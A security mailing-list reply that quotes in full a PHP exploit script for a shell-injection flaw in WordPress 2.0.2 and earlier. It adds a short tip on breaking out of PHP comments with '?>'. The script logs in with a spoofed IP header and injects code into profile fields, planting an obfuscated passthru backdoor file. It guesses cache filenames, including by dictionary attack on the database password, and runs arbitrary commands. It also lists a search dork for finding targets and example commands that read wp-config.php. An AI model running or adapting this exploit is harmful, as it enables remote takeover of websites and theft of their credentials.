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Re: Wordpress <=2.0.2 'cache' shell injection

while doing some work using php, i found something interesting which possibbly can be use to exploit this kind of bug. Instead of injecting carriage return chr(0x13) you can also inject php terminate code( ?> ) to stop one line comment (// or #) in php (tested on 5.1.4 on windows). 

ex:

<?
// asdasdasdbabsdbabsdbasbd ?><?phpinfo();?><?
?>

On Fri, 26 May 2006 03:01:39 +0800, <rgod@xxxxxxxxxxxxx> wrote:


#!/usr/bin/php -q -d short_open_tag=on

<?
echo "--------------------------------------------------------------------\r\n";
echo "| WordPress <= 2.0.2 'cache' shell injection exploit |\r\n";
echo "| by rgod rgod@xxxxxxxxxxxxx |\r\n";
echo "| site: http://retrogod.altervista.org |\r\n";
echo "| dork: inurl:wp-login.php Register Username Password -echo |\r\n";
echo "--------------------------------------------------------------------\r\n"; 


/*

this works:

regardless of all php.ini settings,

if user registration is enabled,
against an empty or weak MySQL DB password (read explination for details...) 

*/


if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS \r\n";
echo "host: target server (ip/hostname) \r\n";
echo "path: path to WordPress \r\n";
echo "cmd: a shell command \r\n";
echo "user/pass: you need a valid user account \r\n";
echo "Options: \r\n";
echo " -D[dicrionary] specify a textfile and try dictionary attack \r\n";
echo " -p[port]: \" a port other than 80 \r\n";
echo " -P[ip:port]: \" a proxy \r\n";
echo "Examples: \r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n"; 

die;

}


/* explaination:


  i) wordpress stores some user informations inside cached files
in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are 

   php files.

   Normally they look like this:


   <?php
//O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"suntzoi@xxxxxxxxxx";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";} 

   ?>
but...what happens if you inject a carriage return ( chr(13)...), some php code and some
escape chars when you update your profile (ex. in "displayname" argument)? 


   Look at this file now:


   <?php
//O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"suntzu@xxxxxxxxxx";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";} 

   ?>


   you have a backdoor on target server...


   Now you have to search a way to guess filenames 'cause we have an

   index.php to trivially protect folders, but... guess what?


   give a look at wp-includes/cache.php at line 355:


   ...

   $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';

   ...


   $group_dir is the folder where files are stored

   DB_PASSWORD costant could be empty, if so...

   you have only to calculate the md5 hash of your user id, then:


   http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la


   the same with userlogins/ folder, this time:


   
http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la
otherwise you can check if DB_PASSWORD is in a dictionary through the -D option, 

   this tool calculate the hash to do something like this:


   
http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la

   
http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la


  ii) an ip-spoofing issue in vars.php:


  ...
// On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
// by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address. 

  if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )

        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];

  ...


  poc:

  you can set an http header like this when you register:


  PC_REMOTE_ADDR: 1.1.1.1

                                                                              */

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);


function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

        $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

        }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { 

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;


}

$host=$argv[1];

$path=$argv[2];

$username=$argv[3];

$password=$argv[4];

$cmd="";

$port=80;

$proxy="";

$dict="";


for ($i=5; $i<=$argc-1; $i++){

$t=$argv[$i][0].$argv[$i][1];

if (($t<>"-p") and ($t<>"-P") and ($t<>"-D"))

{$cmd.=" ".$argv[$i];}

if ($t=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($t=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

if ($t=="-D")

{

  $dict=str_replace("-D","",$argv[$i]);

}

}

$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} 

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "step 0 -> check if suntzu.php is already installed...\r\n";

$check=array("users/suntzu.php",

             "userlogins/suntzu.php"

             );

for ($i=0; $i<=count($check)-1; $i++)

{

  $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";

  $packet.="Host: ".$host."\r\n";

  $packet.="Cookie: cmd=".$cmd."\r\n";

  $packet.="Connection: close\r\n\r\n";

  sendpacketii($packet);

  if (strstr($html,"*DL*"))

  {
echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo $temp[1]."\r\n";echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la";die; 

  }

}

echo "step 1 -> Login ...\r\n";

$data="log=".urlencode(trim($username));

$data.="&pwd=".urlencode(trim($password));

$data.="&rememberme=forever";

$data.="&submit=".urlencode("Login &raquo;");

$data.="&redirect_to=wp-admin";

$packet="POST ".$p."wp-login.php HTTP/1.0\r\n";
$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; //ip spoofing bug in vars.php ;)... 

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(" ",$temp[1]);

$cookie=$temp2[0];

$temp2=explode(" ",$temp[2]);

$cookie.=" ".$temp2[0];

if ($cookie==''){echo "Unable to login...";die;}

else {echo "cookie ->".$cookie."\r\n";}


echo "step 2 -> Retrieve your user id...\r\n";

$packet="GET ".$p."wp-admin/profile.php HTTP/1.0\r\n";

$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("checkuser_id\" value=\"",$html);

$temp2=explode("\"",$temp[1]);

$user_id=$temp2[0];

if ($user_id==''){die("Unable to retrieve user id...\r\n");}

else {echo "user id -> ".$user_id."\r\n";}


echo "step 3 -> Update your profile with the evil code...\r\n";

$suntzu='$fp=fopen("suntzu.php","w");fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).ch

r(

 
109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//';

$suntzu=urlencode($suntzu);
$code='error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo chr(42).chr(68).chr(76).chr(42);'; 

$code=urlencode($code);

$data="from=profile";

$data.="&checkuser_id=".$user_id;

$data.="&user_login=".urlencode(trim($username));

$data.="&first_name=".urlencode(trim($username));

$data.="&last_name=".urlencode(trim($username)).chr(13).$suntzu."//suntzuuu";

$data.="&nickname=".urlencode(trim($username));

$data.="&display_name=".urlencode(trim($username)).chr(13).$code."//suntzuu";

$data.="&email=".urlencode("suntzu@xxxxxxxxxx");

$data.="&url=".urlencode("http://";);

$data.="&aim=";

$data.="&yim=";

$data.="&jabber=";

$data.="&description=whoami";

$data.="&rich_editing=true";

$data.="&submit=".urlencode("Update Profile &raquo;");

$packet="POST ".$p."wp-admin/profile-update.php HTTP/1.0\r\n";

$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="Accept-Language: en\r\n";
$packet.="Referer: http://".$host.$path."wp-admin/profile-update.php\r\n";; 

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (eregi("updated=true",$html)){echo "Done...\r\n";}

else {die("Unable to update profile...");}
echo "step 4 -> go to profile page to avoid cached files deletion...\r\n"; 

$packet="GET ".$p."wp-admin/profile.php?updated=true HTTP/1.0\r\n";

$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: close\r\n\r\n";

sendpacketii($packet);

if (eregi("200 OK",$html)){echo "Done...\r\n";}

sleep(2);


echo "step 5 -> check for an empty db password...\r\n";

$check=array("users/".md5($user_id).".php",

             "userlogins/".md5(trim($username)).".php"

             );

for ($i=0; $i<=count($check)-1; $i++)

{

  $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";

  $packet.="Host: ".$host."\r\n";

  $packet.="Cookie: cmd=".$cmd."\r\n";

  $packet.="Connection: close\r\n\r\n";

  sendpacketii($packet);

  if (eregi("*DL*",$html))

  {
echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo($temp[1]);echo"\r\nNow you can launch commands through the followig urls:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";die; 

  }

}


if ($dict=='') {echo "exploit failed...\r\n";}

else

   {

    echo "step 6 -> trying with dictionary attack...\r\n";

    if (file_exists($dict))

    {

      $fp=fopen($dict,"r");

      while (!feof($fp))

      {

        $word=trim(fgets($fp));

        $check=array("users/".md5($user_id.$word).".php",

                     "userlogins/".md5(trim($username).$word).".php"

                    );

        for ($i=0; $i<=count($check)-1; $i++)

        {

          echo "Trying with ".$check[$i]."\r\n";
$packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n"; 

          $packet.="Host: ".$host."\r\n";

          $packet.="Cookie: cmd=".$cmd."\r\n";

          $packet.="Connection: close\r\n\r\n";

          sendpacketii($packet);

          if (strstr($html,"*DL*"))

          {
echo "Exploit succeeded...\r\n";fclose($fp);$temp=explode("*DL*",$html);echo $temp[1];echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n"; 

            die;

          }

        }

     }

     fclose($fp);

     //if you are here...

     echo "Exploit failed...\r\n";

   }

   else

   {

     die($dict."does not exist!");

   }

  }

?>



original url: http://retrogod.altervista.org/wordpress_202_xpl.html



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